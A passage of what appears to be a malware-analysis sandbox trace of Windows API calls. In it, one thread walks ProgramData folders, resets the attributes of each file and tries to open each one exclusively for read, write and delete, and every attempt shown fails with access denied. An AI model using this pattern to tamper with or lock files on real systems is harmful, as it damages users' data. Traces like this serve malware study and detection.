	[0079.992] wcscat (in: _Dest=0x2daed68, _Source="Accounts" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\Accounts") returned="C:\\ProgramData\\Microsoft\\Settings\\Accounts"
	[0092.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733798
	[0092.126] wcscpy (in: _Dest=0x4733798, _Source="C:\\ProgramData\\Microsoft\\Settings\\Accounts" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\Accounts") returned="C:\\ProgramData\\Microsoft\\Settings\\Accounts"
	[0092.126] wcscat (in: _Dest=0x4733798, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\") returned="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\"
	[0092.126] wcscat (in: _Dest=0x4733798, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\*") returned="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\*"
	[0092.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0092.126] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Settings\\Accounts\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5a8
	[0092.126] wcscmp (_String1=".", _String2=".") returned 0
	[0092.126] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.127] wcscmp (_String1="..", _String2=".") returned 1
	[0092.127] wcscmp (_String1="..", _String2="..") returned 0
	[0092.127] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.127] FindClose (in: hFindFile=0x477b5a8 | out: hFindFile=0x477b5a8) returned 1
	[0092.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030308) returned 1
	[0092.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733798) returned 1
	[0092.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daed68) returned 1
	[0092.127] FindNextFileW (in: hFindFile=0x2d87938, lpFindFileData=0x2e26320 | out: lpFindFileData=0x2e26320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 0
	[0092.127] FindClose (in: hFindFile=0x2d87938 | out: hFindFile=0x2d87938) returned 1
	[0092.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e26320) returned 1
	[0092.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db0470) returned 1
	[0092.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8ac70) returned 1

Thread:
	id = 311
	os_tid = 0x1404

	[0076.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dab9d0
	[0076.851] wcscpy (in: _Dest=0x2dab9d0, _Source="C:\\ProgramData\\Microsoft\\SmsRouter" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter") returned="C:\\ProgramData\\Microsoft\\SmsRouter"
	[0076.851] wcscat (in: _Dest=0x2dab9d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\"
	[0076.851] wcscat (in: _Dest=0x2dab9d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\*") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\*"
	[0076.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e26588
	[0076.851] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\*", lpFindFileData=0x2e26588 | out: lpFindFileData=0x2e26588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7210
	[0082.053] wcscmp (_String1=".", _String2=".") returned 0
	[0082.053] FindNextFileW (in: hFindFile=0x46a7210, lpFindFileData=0x2e26588 | out: lpFindFileData=0x2e26588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.056] wcscmp (_String1="..", _String2=".") returned 1
	[0082.057] wcscmp (_String1="..", _String2="..") returned 0
	[0082.057] FindNextFileW (in: hFindFile=0x46a7210, lpFindFileData=0x2e26588 | out: lpFindFileData=0x2e26588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 1
	[0082.057] wcscmp (_String1="MessageStore", _String2=".") returned 1
	[0082.057] wcscmp (_String1="MessageStore", _String2="..") returned 1
	[0082.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47805d8
	[0082.057] wcscpy (in: _Dest=0x47805d8, _Source="C:\\ProgramData\\Microsoft\\SmsRouter" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter") returned="C:\\ProgramData\\Microsoft\\SmsRouter"
	[0082.057] wcscat (in: _Dest=0x47805d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\"
	[0082.057] wcscat (in: _Dest=0x47805d8, _Source="MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ecd50
	[0091.151] wcscpy (in: _Dest=0x47ecd50, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.151] wcscat (in: _Dest=0x47ecd50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.151] wcscat (in: _Dest=0x47ecd50, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\*") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\*"
	[0091.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0091.151] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.153] wcscmp (_String1=".", _String2=".") returned 0
	[0091.153] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.153] wcscmp (_String1="..", _String2=".") returned 1
	[0091.153] wcscmp (_String1="..", _String2="..") returned 0
	[0091.153] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0091.153] wcscmp (_String1="edb.chk", _String2=".") returned 1
	[0091.153] wcscmp (_String1="edb.chk", _String2="..") returned 1
	[0091.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83288
	[0091.153] wcscpy (in: _Dest=0x2d83288, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.153] wcscat (in: _Dest=0x2d83288, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.153] wcscat (in: _Dest=0x2d83288, _Source="edb.chk" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk"
	[0091.153] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk")) returned 0x20
	[0091.155] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", dwFileAttributes=0x20) returned 0
	[0091.156] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.156] GetLastError () returned 0x5
	[0091.156] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", dwFileAttributes=0x20) returned 0
	[0091.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0091.156] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dec862e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0091.156] wcscmp (_String1="edb.log", _String2=".") returned 1
	[0091.156] wcscmp (_String1="edb.log", _String2="..") returned 1
	[0091.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82dd8
	[0091.156] wcscpy (in: _Dest=0x2d82dd8, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.156] wcscat (in: _Dest=0x2d82dd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.156] wcscat (in: _Dest=0x2d82dd8, _Source="edb.log" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log"
	[0091.156] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log")) returned 0x20
	[0091.156] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log", dwFileAttributes=0x20) returned 0
	[0091.156] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.156] GetLastError () returned 0x5
	[0091.156] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log", dwFileAttributes=0x20) returned 0
	[0091.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0091.157] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b42ee8a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00002.log", cAlternateFileName="")) returned 1
	[0091.157] wcscmp (_String1="edb00002.log", _String2=".") returned 1
	[0091.157] wcscmp (_String1="edb00002.log", _String2="..") returned 1
	[0091.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498ce88
	[0091.157] wcscpy (in: _Dest=0x498ce88, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.157] wcscat (in: _Dest=0x498ce88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.157] wcscat (in: _Dest=0x498ce88, _Source="edb00002.log" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log"
	[0091.157] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log")) returned 0x20
	[0091.158] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", dwFileAttributes=0x20) returned 0
	[0091.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.158] GetLastError () returned 0x5
	[0091.158] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", dwFileAttributes=0x20) returned 0
	[0091.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ce88) returned 1
	[0091.158] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0091.158] wcscmp (_String1="edbres00001.jrs", _String2=".") returned 1
	[0091.158] wcscmp (_String1="edbres00001.jrs", _String2="..") returned 1
	[0091.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498ce88
	[0091.158] wcscpy (in: _Dest=0x498ce88, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.158] wcscat (in: _Dest=0x498ce88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.158] wcscat (in: _Dest=0x498ce88, _Source="edbres00001.jrs" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs"
	[0091.158] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs")) returned 0x20
	[0091.158] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs", dwFileAttributes=0x20) returned 0
	[0091.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.158] GetLastError () returned 0x5
	[0091.158] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs", dwFileAttributes=0x20) returned 0
	[0091.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ce88) returned 1
	[0091.159] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0091.159] wcscmp (_String1="edbres00002.jrs", _String2=".") returned 1
	[0091.159] wcscmp (_String1="edbres00002.jrs", _String2="..") returned 1
	[0091.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498c8b0
	[0091.159] wcscpy (in: _Dest=0x498c8b0, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.159] wcscat (in: _Dest=0x498c8b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.159] wcscat (in: _Dest=0x498c8b0, _Source="edbres00002.jrs" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs"
	[0091.159] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs")) returned 0x20
	[0091.159] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs", dwFileAttributes=0x20) returned 0
	[0091.159] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.159] GetLastError () returned 0x5
	[0091.159] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs", dwFileAttributes=0x20) returned 0
	[0091.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c8b0) returned 1
	[0091.159] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd24c5a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1deee89a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1
	[0091.159] wcscmp (_String1="edbtmp.log", _String2=".") returned 1
	[0091.159] wcscmp (_String1="edbtmp.log", _String2="..") returned 1
	[0091.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bcf10
	[0091.159] wcscpy (in: _Dest=0x47bcf10, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.159] wcscat (in: _Dest=0x47bcf10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.159] wcscat (in: _Dest=0x47bcf10, _Source="edbtmp.log" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log"
	[0091.160] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log")) returned 0x20
	[0091.160] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", dwFileAttributes=0x20) returned 0
	[0091.160] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.160] GetLastError () returned 0x5
	[0091.160] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", dwFileAttributes=0x20) returned 0
	[0091.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcf10) returned 1
	[0091.160] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd973cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd973cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.db", cAlternateFileName="SMSINT~1.DB")) returned 1
	[0091.160] wcscmp (_String1="SmsInterceptStore.db", _String2=".") returned 1
	[0091.160] wcscmp (_String1="SmsInterceptStore.db", _String2="..") returned 1
	[0091.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e30378
	[0091.160] wcscpy (in: _Dest=0x4e30378, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.160] wcscat (in: _Dest=0x4e30378, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.160] wcscat (in: _Dest=0x4e30378, _Source="SmsInterceptStore.db" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db"
	[0091.160] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db")) returned 0x20
